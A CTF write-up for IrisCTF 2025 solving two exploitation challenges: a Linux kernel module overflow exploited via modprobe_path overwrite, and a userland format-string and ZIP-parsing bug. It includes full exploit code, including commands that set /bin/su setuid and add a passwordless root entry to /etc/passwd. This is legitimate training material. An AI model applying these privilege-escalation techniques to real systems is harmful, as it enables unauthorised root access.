[WRITE UP] - IrisCTF 2025

index

Checksumz

Challegne Information

Author

lambda

Code Analysis

The source code is provided, and it is a kernel module that creates a character device /dev/checksumz:

1
#define DEVICE_NAME "checksumz"
2
#define pr_fmt(fmt) DEVICE_NAME ": " fmt
3

4
#include <linux/cdev.h>
5
#include <linux/fs.h>
6
#include <linux/module.h>
7
#include <linux/uio.h>
8
#include <linux/version.h>
9

10
#include "api.h"
11

12
static void adler32(const void *buf, size_t len, uint32_t* s1, uint32_t* s2) {
13
     const uint8_t *buffer = (const uint8_t*)buf;
14

15
     for (size_t n = 0; n < len; n++) {
16
        *s1 = (*s1 + buffer[n]) % 65521;
17
        *s2 = (*s2 + *s1) % 65521;
18
     }
19
}
20

21
/* ***************************** DEVICE OPERATIONS ***************************** */
22

23
static loff_t checksumz_llseek(struct file *file, loff_t offset, int whence) {
24
  struct checksum_buffer* buffer = file->private_data;
25

26
  switch (whence) {
27
    case SEEK_SET:
28
      buffer->pos = offset;
29
      break;
30
    case SEEK_CUR:
31
      buffer->pos += offset;
32
      break;
33
    case SEEK_END:
34
      buffer->pos = buffer->size - offset;
35
      break;
36
    default:
37
      return -EINVAL;
38
  }
39

40
  if (buffer->pos < 0)
41
    buffer->pos = 0;
42

43
  if (buffer->pos >= buffer->size)
44
    buffer->pos = buffer->size - 1;
45

46
  return buffer->pos;
47
}
48

49
// write(fd, buffer, 16);
50
static ssize_t checksumz_write_iter(struct kiocb *iocb, struct iov_iter *from) {
51
        struct checksum_buffer* buffer = iocb->ki_filp->private_data;
52
        size_t bytes = iov_iter_count(from);
53

54
        if (!buffer)
55
      return -EBADFD;
56
        if (!bytes)
57
      return 0;
58

59
    ssize_t copied = copy_from_iter(buffer->state + buffer->pos, min(bytes, 16), from);
60

61
    buffer->pos += copied;
62
    if (buffer->pos >= buffer->size)
63
      buffer->pos = buffer->size - 1;
64

65
        return copied;
66
}
67

68
static ssize_t checksumz_read_iter(struct kiocb *iocb, struct iov_iter *to) {
69
  struct checksum_buffer* buffer = iocb->ki_filp->private_data;
70
  size_t bytes = iov_iter_count(to);
71

72
  if (!buffer)
73
    return -EBADFD;
74
  if (!bytes)
75
    return 0;
76
  if (buffer->read >= buffer->size) {
77
    buffer->read = 0;
78
    return 0;
79
  }
80

81
  ssize_t copied = copy_to_iter(buffer->state + buffer->pos, min(bytes, 256), to);
82

83
  buffer->read += copied;
84
  buffer->pos += copied;
85
  if (buffer->pos >= buffer->size)
86
    buffer->pos = buffer->size - 1;
87

88
  return copied;
89
}
90

91
static long checksumz_ioctl(struct file *file, unsigned int command, unsigned long arg) {
92
  struct checksum_buffer* buffer = file->private_data;
93

94
  if (!file->private_data)
95
    return -EBADFD;
96

97
  switch (command) {
98
    case CHECKSUMZ_IOCTL_RESIZE:
99
      if (arg <= buffer->size && arg > 0) {
100
        buffer->size = arg;
101
        buffer->pos = 0;
102
      } else
103
        return -EINVAL;
104

105
      return 0;
106
    case CHECKSUMZ_IOCTL_RENAME:
107
      char __user *user_name_buf = (char __user*) arg;
108

109
      if (copy_from_user(buffer->name, user_name_buf, 48)) {
110
        return -EFAULT;
111
      }
112

113
      return 0;
114
    case CHECKSUMZ_IOCTL_PROCESS:
115
      adler32(buffer->state, buffer->size, &buffer->s1, &buffer->s2);
116
      memset(buffer->state, 0, buffer->size);
117
      return 0;
118
    case CHECKSUMZ_IOCTL_DIGEST:
119
      uint32_t __user *user_digest_buf = (uint32_t __user*) arg;
120
      uint32_t digest = buffer->s1 | (buffer->s2 << 16);
121

122
      if (copy_to_user(user_digest_buf, &digest, sizeof(uint32_t))) {
123
        return -EFAULT;
124
      }
125

126
      return 0;
127
    default:
128
      return -EINVAL;
129
  }
130

131
  return 0;
132
}
133

134
/* This is the counterpart to open() */
135
static int checksumz_open(struct inode *inode, struct file *file) {
136
  file->private_data = kzalloc(sizeof(struct checksum_buffer), GFP_KERNEL);
137

138
  struct checksum_buffer* buffer = (struct checksum_buffer*) file->private_data;
139

140
  buffer->pos = 0;
141
  buffer->size = 512;
142
  buffer->read = 0;
143
  buffer->name = kzalloc(1000, GFP_KERNEL);
144
  buffer->s1 = 1;
145
  buffer->s2 = 0;
146

147
  const char* def = "default";
148
  memcpy(buffer->name, def, 8);
149

150
  for (size_t i = 0; i < buffer->size; i++)
151
    buffer->state[i] = 0;
152

153
  return 0;
154
}
155

156
/* This is the counterpart to the final close() */
157
static int checksumz_release(struct inode *inode, struct file *file)
158
{
159
  if (file->private_data)
160
    kfree(file->private_data);
161
  return 0;
162
}
163

164
/* All the operations supported on this file */
165
static const struct file_operations checksumz_fops = {
166
  .owner = THIS_MODULE,
167
  .open = checksumz_open,
168
  .release = checksumz_release,
169
  .unlocked_ioctl = checksumz_ioctl,
170
  .write_iter = checksumz_write_iter,
171
  .read_iter = checksumz_read_iter,
172
  .llseek = checksumz_llseek,
173
};
174

175

176
/* ***************************** INITIALIZATION AND CLEANUP (You can mostly ignore this.) ***************************** */
177

178
static dev_t device_region_start;
179
static struct class *device_class;
180
static struct cdev device;
181

182
/* Create the device class */
183
#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 4, 0)
184
static inline struct class *checksumz_create_class(void) { return class_create(DEVICE_NAME); }
185
#else
186
static inline struct class *checksumz_create_class(void) { return class_create(THIS_MODULE, DEVICE_NAME); }
187
#endif
188

189
/* Make the device file accessible to normal users (rw-rw-rw-) */
190
#if LINUX_VERSION_CODE >= KERNEL_VERSION(6, 2, 0)
191
static char *device_node(const struct device *dev, umode_t *mode) { if (mode) *mode = 0666; return NULL; }
192
#else
193
static char *device_node(struct device *dev, umode_t *mode) { if (mode) *mode = 0666; return NULL; }
194
#endif
195

196
/* Create the device when the module is loaded */
197
static int __init checksumz_init(void)
198
{
199
  int err;
200

201
  if ((err = alloc_chrdev_region(&device_region_start, 0, 1, DEVICE_NAME)))
202
    return err;
203

204
  err = -ENODEV;
205

206
  if (!(device_class = checksumz_create_class()))
207
    goto cleanup_region;
208
  device_class->devnode = device_node;
209

210
  if (!device_create(device_class, NULL, device_region_start, NULL, DEVICE_NAME))
211
    goto cleanup_class;
212

213
  cdev_init(&device, &checksumz_fops);
214
  if ((err = cdev_add(&device, device_region_start, 1)))
215
    goto cleanup_device;
216

217
  return 0;
218

219
cleanup_device:
220
  device_destroy(device_class, device_region_start);
221
cleanup_class:
222
  class_destroy(device_class);
223
cleanup_region:
224
  unregister_chrdev_region(device_region_start, 1);
225
  return err;
226
}
227

228
/* Destroy the device on exit */
229
static void __exit checksumz_exit(void)
230
{
231
  cdev_del(&device);
232
  device_destroy(device_class, device_region_start);
233
  class_destroy(device_class);
234
  unregister_chrdev_region(device_region_start, 1);
235
}
236

237
module_init(checksumz_init);
238
module_exit(checksumz_exit);
239

240
/* Metadata that the kernel really wants */
241
MODULE_DESCRIPTION("/dev/" DEVICE_NAME ": a vulnerable kernel module");
242
MODULE_AUTHOR("LambdaXCF <hello@lambda.blog>");
243
MODULE_LICENSE("GPL");

There is an issue in the code: the state buffer is allocated with a size of 512 bytes, but the checksumz_write_iter function allows writing up to 16 bytes at a time without checking if the write exceeds the allocated size. This could lead to a overflow if buffer->pos is close to the end of the buffer.

With this vulnerablity, we can perform a arbitrary write/read by modify buffer->pos.

Exploit

The exploit involves the following steps:

Modify buffer-pos to point to the end of buffer->state field using the lseek.
Write and overwrite buffer->size to a large value (e.g., 0xFFFFFFFF) using the write function so that we can have an ability to modify buffer->pos to any value we want.
Leak the kernel address via tty_struct (we need to spray for it)
Overwrite the buffer->name to point to modprobe_path and overwrite modprobe_path.

Here is the exploit code:

1
#include <kpwn.h>
2
#include <api.h>
3

4
#define SPRAY_NUM 800
5
#define modprobe KADDR(0xffffffff82b3f100)
6

7
static inline void p64(uint8_t out[8], uint64_t v)
8
{
9
    out[0] = (uint8_t)(v & 0xff);
10
    out[1] = (uint8_t)((v >> 8) & 0xff);
11
    out[2] = (uint8_t)((v >> 16) & 0xff);
12
    out[3] = (uint8_t)((v >> 24) & 0xff);
13
    out[4] = (uint8_t)((v >> 32) & 0xff);
14
    out[5] = (uint8_t)((v >> 40) & 0xff);
15
    out[6] = (uint8_t)((v >> 48) & 0xff);
16
    out[7] = (uint8_t)((v >> 56) & 0xff);
17
}
18

19
ssize_t write_u64_le(int fd, uint64_t v)
20
{
21
    uint8_t buf[8];
22
    p64(buf, v);
23

24
    ssize_t total = 0;
25
    while (total < 8)
26
    {
27
        ssize_t w = write(fd, buf + total, 8 - total);
28
        if (w < 0)
29
        {
30
            if (errno == EINTR)
31
                continue;
32
            return -1;
33
        }
34
        total += w;
35
    }
36
    return total;
37
}
38

39
int main() {
40

41
    uint64_t kbase;
42
    uint64_t heap;
43

44
    uint64_t *buf = calloc(0x600, sizeof(uint64_t));
45

46
    int spray_fds[SPRAY_NUM];
47

48
    for (int i = 0; i < SPRAY_NUM / 2; i++) {
49
        spray_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
50
        if (spray_fds[i] == -1) errExit("open /dev/ptmx");
51
    }
52

53
    int fd = open("/dev/checksumz", O_RDWR);
54
    if (fd == -1) errExit("open /dev/checksumz");
55

56
    for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) {
57
        spray_fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
58
        if (spray_fds[i] == -1) errExit("open /dev/ptmx");
59
    }
60

61
    logInfo("Seek to the end of the buffer");
62
    lseek64(fd, 510, SEEK_SET);
63

64
    logInfo("Overwrite the size field");
65
    write(fd, "\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff", 10);
66

67
    logInfo("Now for the leak...");
68
    logInfo("Seek to buffer->name for heap leak");
69
    lseek64(fd, (0x218 - 0x10), SEEK_SET);
70

71
    read(fd, buf, 0x20);
72
    heap = buf[1];
73
    logOK("Heap leak: 0x%lx", heap);
74

75
    logInfo("Seek to tty_struct to leak kernel base");
76
    lseek64(fd, 0x400, SEEK_SET);
77
    read(fd, buf, 256);
78

79
    kbase = buf[3] - 0x1289480;
80

81
    if (kbase & 0xfff)
82
    {
83
        logErr("Kernel base seems wrong..., got 0x%lx", kbase);
84
        logErr("Invalid kernel base, trying to fix by adding 0x120");
85
        kbase += 0x120;
86
    }
87

88
    logOK("Kernel leak: 0x%lx", kbase);
89

90
    logInfo("Now overwrite buffer->name for arbitrary write");
91
    lseek64(fd, 0x210, SEEK_SET);
92
    write_u64_le(fd, modprobe);
93

94
    logInfo("Overwrite modprobe_path");
95
    ioctl(fd, CHECKSUMZ_IOCTL_RENAME, "/tmp/x\0");
96

97
    logInfo("Prepare /tmp/x script and trigger modprobe");
98
    system("echo -e \"#!/bin/sh\nchown root:root /bin/su\nchmod u+s /bin/su\necho 'kasero::0:0:root:/:/bin/sh' >> /etc/passwd\n\" > /tmp/x");
99
    system("chmod +x /tmp/x");
100

101
    system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/pwn");
102
    system("chmod +x /tmp/pwn");
103
    system("/tmp/pwn");
104

105
    logInfo("Tada!");
106
    system("su kasero; /bin/sh");
107

108
    // irisctf{was_it_really_worth_the_speedup}
109

110
    return 0;
111
}

MyFiles

Challegne

Author

nope

Bug

1
void viewFile()
2
{
3
  ZipEntry *v0; // rax
4
  signed int id; // [rsp+8h] [rbp-248h] BYREF
5
  signed int file_size; // [rsp+Ch] [rbp-244h]
6
  UserRecord *v3; // [rsp+10h] [rbp-240h]
7
  unsigned __int8 *v4; // [rsp+18h] [rbp-238h]
8
  ZipMetadata metadata; // [rsp+20h] [rbp-230h] BYREF
9
  char dest[520]; // [rsp+40h] [rbp-210h] BYREF
10
  unsigned __int64 v7; // [rsp+248h] [rbp-8h]
11

12
  v7 = __readfsqword(0x28u);
13
  v3 = authenticate_user();
14
  if ( v3 )
15
  {
16
    printf("Which file id do you want to contents of? ");
17
    if ( (unsigned int)__isoc99_scanf("%d", &id) == 1 && (unsigned int)id < 0x100 && v3->files[id].length != -1 )
18
    {
19
      v0 = (ZipEntry *)(&v3->is_admin + 129 * id);
20
      v4 = &v0->data[4];
21
      if ( readZipInfo(&metadata, (ZipLocalFileHeader *)&v0->data[8], *(_DWORD *)&v0->data[4]) )
22
      {
23
        file_size = metadata.file_size;
24
        if ( metadata.file_size > 510 )
25
          file_size = 511;
26
        memcpy(dest, &v4[metadata.data_offset + 4], file_size);
27
        dest[file_size] = 0;
28
        printf(dest);                           // Format String Bug
29
      }
30
      else
31
      {
32
        puts("Invalid zip");
33
      }
34
    }
35
    else
36
    {
37
      puts("Bad file id");
38
    }
39
  }
40
}

Analysis

If a user is privileged, we can use the function viewFlag to read the flag file.

1
void viewFlag()
2
{
3
  UserRecord *v0; // [rsp+8h] [rbp-98h]
4
  char ptr[136]; // [rsp+10h] [rbp-90h] BYREF
5
  UserRecord *v2; // [rsp+98h] [rbp-8h]
6

7
  v2 = (UserRecord *)__readfsqword(0x28u);
8
  v0 = authenticate_user();
9
  if ( v0 )
10
  {
11
    if ( v0->is_admin )
12
    {
13
      ptr[(int)read_file(ptr, "flag.txt", 127)] = 0;
14
      printf("Flag: %s\n", ptr);
15
    }
16
    else
17
    {
18
      puts("Not admin.");
19
    }
20
  }
21
}

The user Tom initially is not privileged, you can see in setupUsers function:

1
void __fastcall setupUsers(FILE *unused_stream)
2
{
3
  int i; // [rsp+Ch] [rbp-C4h]
4
  int j; // [rsp+10h] [rbp-C0h]
5
  int k; // [rsp+14h] [rbp-BCh]
6
  int m; // [rsp+18h] [rbp-B8h]
7
  FILE *stream; // [rsp+20h] [rbp-B0h]
8
  UserRecord *v6; // [rsp+38h] [rbp-98h]
9
  char ptr[64]; // [rsp+40h] [rbp-90h] BYREF
10
  char s[72]; // [rsp+80h] [rbp-50h] BYREF
11
  unsigned __int64 v9; // [rsp+C8h] [rbp-8h]
12

13
  v9 = __readfsqword(0x28u);
14
  for ( i = 0; i <= 15; ++i )
15
  {
16
    v6 = &fileUsers[i];
17
    v6->username = 0;
18
    v6->password = 0;
19
    v6->file_count = 0;
20
  }
21
  for ( j = 0; j <= 15; ++j )
22
  {
23
    for ( k = 0; k <= 255; ++k )
24
      *((_DWORD *)&g_user_slot_words[0x4083 * j] + 129 * k) = -1;
25
  }
26
  stream = fopen("/dev/urandom", "r");
27
  if ( !stream )
28
    exit(1);
29
  fread(ptr, 0x3Fu, 1u, stream);
30
  s[63] = -1;
31
  for ( m = 0; m <= 62; ++m )
32
    s[m] = (unsigned __int8)ptr[m] % 0xAu + 48;
33
  fclose(stream);
34
  username = "Tom";
35
  password = strdup(s);
36
  unk_1E8DB8 = 1;
37
  unk_1E8DBC = 1;
38
  invite_code = read_file(&ptr_, "invite.zip", 512);
39
}

There is no other user created in the code, no way for us to create a privileged user. The user Tom is at index 15 of fileUsers array. So the main idea is create a new user and use format string bug to overwrite is_admin field of our new user. But we first need to know the invite_code to create a new user. Check the readZipInfo

1
bool __fastcall readZipInfo(ZipMetadata *metadata, ZipLocalFileHeader *zip_buffer, int zip_size)
2
{
3
  int i; // [rsp+28h] [rbp-18h]
4
  __int16 name_len; // [rsp+2Ch] [rbp-14h]
5
  const unsigned __int8 *content; // [rsp+38h] [rbp-8h]
6

7
  content = (const unsigned __int8 *)&zip_buffer->file_name_length;
8
  if ( zip_buffer->magic == 0x4034B50 )
9
  {
10
    if ( zip_buffer->compress_type )
11
    {
12
      puts("Only uncompressed files are supported");
13
      return 0;
14
    }
15
    else
16
    {
17
      *(_DWORD *)&name_len = *(_DWORD *)content;
18
      if ( *(_DWORD *)&name_len == name_len )
19
      {
20
        if ( zip_size - 0x19 > name_len )
21
        {
22
          metadata->file_name = (char *)calloc(1u, 0x200u);
23
          for ( i = 0; i < name_len; ++i )
24
            metadata->file_name[i] = content[i + 4];
25
          if ( zip_buffer->content_length <= (unsigned __int64)(zip_size - (__int64)name_len - 0x1E) )
26
          {
27
            if ( zip_buffer->content_length > 9 )
28
            {
29
              metadata->file_size = zip_buffer->content_length;
30
              metadata->data_offset = name_len + 30;
31
              metadata->file_hash = hash(&content[name_len + 4], zip_buffer->content_length);
32
              return 1;
33
            }
34
            else
35
            {
36
              puts("There is no reason to upload a file this small :(");
37
              return 0;
38
            }
39
          }
40
          else
41
          {
42
            puts("File data length too long");
43
            return 0;
44
          }
45
        }
46
        else
47
        {
48
          printf("File name length too long (assert %d > %d)\n", name_len, zip_size - 26);
49
          return 0;
50
        }
51
      }
52
      else
53
      {
54
        puts("Extra field not supported");
55
        return 0;
56
      }
57
    }
58
  }
59
  else
60
  {
61
    puts("ZIP magic expected");
62
    return 0;
63
  }
64
}

For short there is an logical bug in this function that can help us access the negative offset.

1
content = (const unsigned __int8 *)&zip_buffer->file_name_length;
2
*(_DWORD *)&name_len = *(_DWORD *)content;
3
if ( *(_DWORD *)&name_len == name_len )

1
.text:00000000000016EF                 mov     rax, [rbp+content]
2
.text:00000000000016F3                 mov     eax, [rax]
3
.text:00000000000016F5                 mov     dword ptr [rbp+name_len], eax
4
.text:00000000000016F8                 mov     eax, dword ptr [rbp+name_len]
5
.text:00000000000016FB                 cwde
6
.text:00000000000016FC                 cmp     dword ptr [rbp+name_len], eax
7
.text:00000000000016FF                 jz      short loc_1717

The assembly check uses cwde (convert word to doubleword with sign-extension) on the low 16 bits of the 32-bit word read from [rbp+name_len]. Concretely the code loads a 32-bit DW = (extra_field<<16) | file_name_len_low16, does mov eax, DW; cwde (so EAX = sign_extend(int16_t AX)), then compares the original DW to that sign-extended value. That comparison only guarantees equality when the high 16 bits are zero or when they are all 0xFFFF and the low16 has its sign bit set — i.e. it accidentally accepts headers where extra_field = 0xFFFF whenever file_name_length >= 0x8000. In other words, using cwde turns the intended “extra_field == 0” test into a buggy sign-dependent test.

Example (positive): DW = 0x00000020 → low16 = 0x0020 (32), high16 = 0x0000. After cwde, EAX = 0x00000020; compare: 0x00000020 == 0x00000020 → pass (correct). Example (negative): DW = 0xFFFFFE1C (which is 0x100000000 - 0x1E4) → low16 = 0xFE1C (interpreted as signed16 = −484), high16 = 0xFFFF. cwde sign-extends low16 to EAX = 0xFFFFFE1C, so compare: 0xFFFFFE1C == 0xFFFFFE1C → pass even though extra_field != 0. That makes name_len effectively negative (−484), and subsequent pointer arithmetic like &content[name_len + 4] becomes content - 480, letting the code read memory at a negative offset before the ZIP header. A correct fix is to zero-extend the low-16 (movzx) or explicitly check extra_field == 0 before using name_len for indexing.

Exploit

To see how much negative number we need, we can use gdb:

gdb

If you specify the offset as starting 10 bytes from 0x3f, you can create a hash using the last character of invitecode (s in this case) and the known 9 characters are b'PK\x01\x02\x3f\x00\x0a\x00\x00'.

1
pwndbg> x/50xg 0x55555573cdc0
2
0x55555573cdc0: 0x04034b50000000b5      0x85fc00000000000a
3
0x55555573cdd0: 0x001304a867055a23      0x000e000000130000
4
0x55555573cde0: 0x657469766e690000      0x7478742e65646f63
5
0x55555573cdf0: 0x656c626972726574      0x7375622d6465722d
6
0x55555573ce00: 0x3f02014b50736573      0xfc00000000000a00
7
0x55555573ce10: 0x1304a867055a2385      0x0e00000013000000
8
0x55555573ce20: 0x0000000000002400      0x0000000000002000
9
0x55555573ce30: 0x63657469766e6900      0x0a7478742e65646f
10
0x55555573ce40: 0x0100000000002000      0x3187786d95001800
11
0x55555573ce50: 0x3187786d9501db5e      0x3180a1ee7001db5e
12
0x55555573ce60: 0x0006054b5001db5e      0x6000010001000000
13
0x55555573ce70: 0x000000003f000000      0x0000000000000000
14
0x55555573ce80: 0x0000000000000000      0x0000000000000000
15
0x55555573ce90: 0x0000000000000000      0x0000000000000000
16
0x55555573cea0: 0x0000000000000000      0x0000000000000000
17
0x55555573ceb0: 0x0000000000000000      0x0000000000000000
18
0x55555573cec0: 0x0000000000000000      0x0000000000000000
19
0x55555573ced0: 0x0000000000000000      0x0000000000000000
20
0x55555573cee0: 0x0000000000000000      0x0000000000000000
21
0x55555573cef0: 0x0000000000000000      0x0000000000000000
22
0x55555573cf00: 0x0000000000000000      0x0000000000000000
23
0x55555573cf10: 0x0000000000000000      0x0000000000000000
24
0x55555573cf20: 0x0000000000000000      0x0000000000000000
25
0x55555573cf30: 0x0000000000000000      0x0000000000000000
26
0x55555573cf40: 0x0000000000000000      0x0000000000000000
27
pwndbg>
28
0x55555573cf50: 0x0000000000000000      0x0000000000000000
29
0x55555573cf60: 0x0000000000000000      0x0000000000000000
30
0x55555573cf70: 0x0000000000000000      0x0000000000000000
31
0x55555573cf80: 0x0000000000000000      0x0000000000000000
32
0x55555573cf90: 0x0000000000000000      0x0000000000000000
33
0x55555573cfa0: 0x0000000000000000      0x0000000000000000
34
0x55555573cfb0: 0x0000000000000000      0x0000000000000000
35
0x55555573cfc0: 0x000000b100000000      0x0000001404034b50
36
0x55555573cfd0: 0x6e47002100000000      0x000f0000000a30ee
37
0x55555573cfe0: 0x4141fffffe1c0000      0x4141414141414141
38
0x55555573cff0: 0x4141414141414141      0x4141414141414141
39
0x55555573d000: 0x4242414141414141      0x4242424242424242
40
0x55555573d010: 0x014b504242424242      0x0000000014031402
41
0x55555573d020: 0xee6e470021000000      0x00000f0000000f30
42
0x55555573d030: 0x0000000000002000      0x0001800000000000
43
0x55555573d040: 0x4141414141000000      0x4141414141414141
44
0x55555573d050: 0x4141414141414141      0x4141414141414141
45
0x55555573d060: 0x0006054b50414141      0x4e00010001000000
46
0x55555573d070: 0x000000004d000000      0x0000000000000000
47
0x55555573d080: 0x0000000000000000      0x0000000000000000
48
0x55555573d090: 0x0000000000000000      0x0000000000000000
49
0x55555573d0a0: 0x0000000000000000      0x0000000000000000
50
0x55555573d0b0: 0x0000000000000000      0x0000000000000000
51
0x55555573d0c0: 0x0000000000000000      0x0000000000000000
52
0x55555573d0d0: 0x0000000000000000      0x0000000000000000

The 0x3f is at 0x55555573ce02 and the next file content is at 0x55555573cfe6 so the offset is -0x1e4. Still from debugging, i found that after adding more files, each time the offset from 0x3f and the next file content increase by 517 bytes. So the formula for the offset is -0x1e4 + n * 517 where n is the number of files we have uploaded.

1
pwndbg> tel 0x55555573cfc8
2
00:0000│     0x55555573cfc8 ◂— 0x1404034b50
3
01:0008│     0x55555573cfd0 ◂— 0x6e47002100000000
4
02:0010│     0x55555573cfd8 ◂— 0xf0000000a30ee
5
03:0018│     0x55555573cfe0 ◂— 0x4141fffffe1c0000
6
04:0020│     0x55555573cfe8 ◂— 0x4141414141414141 ('AAAAAAAA')
7
05:0028│     0x55555573cff0 ◂— 0x4141414141414141 ('AAAAAAAA')
8
06:0030│     0x55555573cff8 ◂— 0x4141414141414141 ('AAAAAAAA')
9
07:0038│     0x55555573d000 ◂— 0x4242414141414141 ('AAAAAABB')
10
pwndbg> x/s 0x55555573cfe8-0x2 - (0x1e4)
11
0x55555573ce02: "sPK\001\002?"
12
pwndbg> tel 0x55555573d1cc
13
00:0000│     0x55555573d1cc ◂— 0x1404034b50
14
01:0008│     0x55555573d1d4 ◂— 0x6e47002100000000
15
02:0010│     0x55555573d1dc ◂— 0xf0000000a30ee
16
03:0018│     0x55555573d1e4 ◂— 0x4141fffffc170000
17
04:0020│     0x55555573d1ec ◂— 0x4141414141414141 ('AAAAAAAA')
18
05:0028│     0x55555573d1f4 ◂— 0x4141414141414141 ('AAAAAAAA')
19
06:0030│     0x55555573d1fc ◂— 0x4141414141414141 ('AAAAAAAA')
20
07:0038│     0x55555573d204 ◂— 0x4242414141414141 ('AAAAAABB')
21
pwndbg> x/xg 0x55555573d1ec-0x2
22
0x55555573d1ea: 0x4141414141414141
23
pwndbg> x/s 0x55555573d1ea - 0x1e4 - 512 - 5
24
0x55555573ce01: "esPK\001\002?"
25
pwndbg> tel 0x55555573d3d0
26
00:0000│     0x55555573d3d0 ◂— 0x1404034b50
27
01:0008│     0x55555573d3d8 ◂— 0x6e47002100000000
28
02:0010│     0x55555573d3e0 ◂— 0xf0000000a30ee
29
03:0018│     0x55555573d3e8 ◂— 0x4141fffffa120000
30
04:0020│     0x55555573d3f0 ◂— 0x4141414141414141 ('AAAAAAAA')
31
05:0028│     0x55555573d3f8 ◂— 0x4141414141414141 ('AAAAAAAA')
32
06:0030│     0x55555573d400 ◂— 0x4141414141414141 ('AAAAAAAA')
33
07:0038│     0x55555573d408 ◂— 0x4242414141414141 ('AAAAAABB')
34
pwndbg> x/xg 0x55555573d3f0-0x2
35
0x55555573d3ee: 0x4141414141414141
36
pwndbg> x/s 0x55555573d3ee - 0x1e4 - 512*2 - 5*2
37
0x55555573ce00: "sesPK\001\002?"

Luckily, the address always subtract 1 each time, so we don’t need to add it to our payload :D. Here is the full exploit code:

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from time import sleep
5
from zipfile import ZipFile
6
from binascii import hexlify
7

8
exe = context.binary = ELF('./chal_patched', checksec=False)
9
libc = exe.libc
10

11
gdbscript = '''
12
init-pwndbg
13
# init-gef-bata
14
brva 0x1851
15
brva 0x17C8
16
brva 0x23B7
17
brva 0x240E
18
c
19
'''
20

21
def start(argv=[]):
22
    if args.LOCAL:
23
        p = exe.process()
24
        if args.GDB:
25
            gdb.attach(p, gdbscript=gdbscript)
26
            pause()
27
    elif args.REMOTE:
28
        host_port = sys.argv[1:]
29
        p = remote(host_port[0], int(host_port[1]))
30
    return p
31

32
def upload(id, file):
33
    sla(b'> ', b'4')
34
    sla(b'? ', str(id).encode())
35
    sla(b'file\n', hexlify(file))
36

37
def list_file(id=15):
38
    sla(b'> ', b'2')
39
    sla(b'? ', str(id).encode())
40

41
def create_user(code, name, pw):
42
    sla(b'> ', b'3')
43
    sla(b'? ', code)
44
    sla(b'? ', name)
45
    sla(b'? ', pw)
46

47
def view_file(id, pw, cid):
48
    sla(b'> ', b'5')
49
    sla(b'? ', str(id).encode())
50
    sla(b'? ', pw)
51
    sla(b'? ', str(cid).encode())
52

53
def view_flag(id, pw):
54
    sla(b'> ', b'6')
55
    sla(b'? ', str(id).encode())
56
    sla(b'? ', pw)
57

58
def do_hash(inp, leng=10):
59
    out = 0xCBF29CE484222325
60
    for i in range(leng):
61
        out = 0x100000001B3 * (inp[i] ^ out)
62
        out &= 0xffffffffffffffff
63
    return out
64

65

66
# ==================== EXPLOIT ====================
67
p = start()
68

69
with ZipFile('exploit.zip', 'w') as zf:
70
    with zf.open("A"*0x20, 'w') as f:
71
        f.write(b"B"*0xf)
72

73
contlen_offset = 0x12
74
namelen_offset = 0x12+0x8
75
contlen = 0xa
76

77
with open('./exploit.zip', 'rb') as f:
78
    inp = f.read()
79

80
namelen_base = 0x100000000 - 0x1E4 + (1 if args.REMOTE else 0)
81
stride = 5 + 512
82
prefix = inp[:contlen_offset] + p32(contlen) + inp[contlen_offset + 4 : namelen_offset]
83
suffix = inp[namelen_offset + 4 : 0x1FF]
84

85

86
for i in range(20):
87
    namelen = namelen_base - (i * stride)
88
    forged = prefix + p32(namelen) + suffix
89
    upload(15, forged)
90

91
list_file()
92
hashes = []
93
for i in range(20):
94
    ru(b'  10 ')
95
    hashes.append(int(ru(b'\n', drop=True), 16))
96

97
info("Hashes: {}".format(hashes))
98

99
invite_code = b''
100
wordbag = b'-abcdefghijklmnopqrstuvwxyz'
101
seed = b'PK\x01\x02\x3f\x00\x0a\x00\x00'
102
for index in range(20):
103
    target_hash = hashes[index]
104
    for candidate in wordbag:
105
        candidate_byte = bytes([candidate])
106
        window = (candidate_byte + invite_code + seed)[:10]
107
        if do_hash(window) == target_hash:
108
            # info("{} = {}".format(window, do_hash(window)))
109
            invite_code = candidate_byte + invite_code
110
            break
111
    else:
112
        raise RuntimeError(f"Unable to match invite character at position {index}")
113

114
info("Invite code: {}".format(invite_code))
115

116
if not args.REMOTE:
117
    invite_code = b'terrible-red-busses'
118

119
create_user(invite_code, b'mmb', b'bmg')
120

121
with ZipFile('exploit.zip', 'w') as zf:
122
    with zf.open("A"*0x20, 'w') as f:
123
        f.write(b'|%8$p|....')
124

125
with open('./exploit.zip', 'rb') as f:
126
    upload(0, f.read())
127

128
view_file(0, b'bmg', 0)
129
ru(b'|')
130
leak = int(ru(b'|', drop=True), 16)
131
slog('leak @ %#x', leak)
132

133

134
with ZipFile('exploit.zip', 'w') as zf:
135
    with zf.open("A"*0x20, 'w') as f:
136
        f.write(b'%c%16$hhnAAAAAAA'+p64(leak+0x10))
137

138
with open('./exploit.zip', 'rb') as f:
139
    upload(0, f.read())
140

141
view_file(0, b'bmg', 1)
142
view_flag(0, b'bmg')
143

144
interactive()
145
# irisctf{tom_needs_to_rethink_his_security}